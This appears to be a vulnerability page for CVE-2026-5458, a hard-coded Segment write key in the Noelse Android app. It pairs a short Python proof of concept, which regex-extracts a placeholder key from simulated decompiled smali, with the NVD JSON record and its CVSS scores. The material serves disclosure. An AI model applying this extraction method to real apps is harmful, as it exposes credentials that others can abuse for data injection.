CVE-2026-5458

# PoC for CVE-2026-5458: Hard-coded Key Extraction # Description: This script simulates the extraction of the SEGMENT_WRITE_KEY # from the decompiled BuildConfig.class of the Noelse App. import re # Simulated content of the decompiled smali file: com/reactnative/antelop/BuildConfig.smali # In a real scenario, this file would be extracted using apktool. smali_content = """ .class public Lcom/reactnative/antelop/BuildConfig; .super Ljava/lang/Object; ... .field public static final SEGMENT_WRITE_KEY:Ljava/lang/String; = "MY_SUPER_SECRET_HARD_CODED_KEY_123" ... """ def extract_key(content): # Regex to find the hard-coded key definition pattern = r'SEGMENT_WRITE_KEY:Ljava/lang/String; = "(.*?)"' match = re.search(pattern, content) if match: return match.group(1) return None print("[*] Analyzing BuildConfig.smali for CVE-2026-5458...") key = extract_key(smali_content) if key: print(f"[+] Vulnerability Confirmed! Hard-coded Key found: {key}") else: print("[-] Key not found or application is patched.")

{"cve": {"id": "CVE-2026-5458", "sourceIdentifier": "[email protected]", "published": "2026-04-03T07:16:21.037", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Noelse Individuals & Pro App up to 2.1.7 on Android. This impacts an unknown function of the file com/reactnative/antelop/BuildConfig.java of the component com.afone.noelse. This manipulation of the argument SEGMENT_WRITE_KEY causes use of hard-coded cryptographic key\r . The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://vuldb.com/submit/781766", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355046", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355046/cti", "source": "[email protected]"}, {"url": "https://www.notion.so/Segment-Write-Key-Exposure-Leading-to-Data-Injection-and-User-Profile-Manipulation-In-com-afone-noel-3262de3f97fb80549986ddd8a160ed32?source=copy_link", "source": "[email protected]"}]}}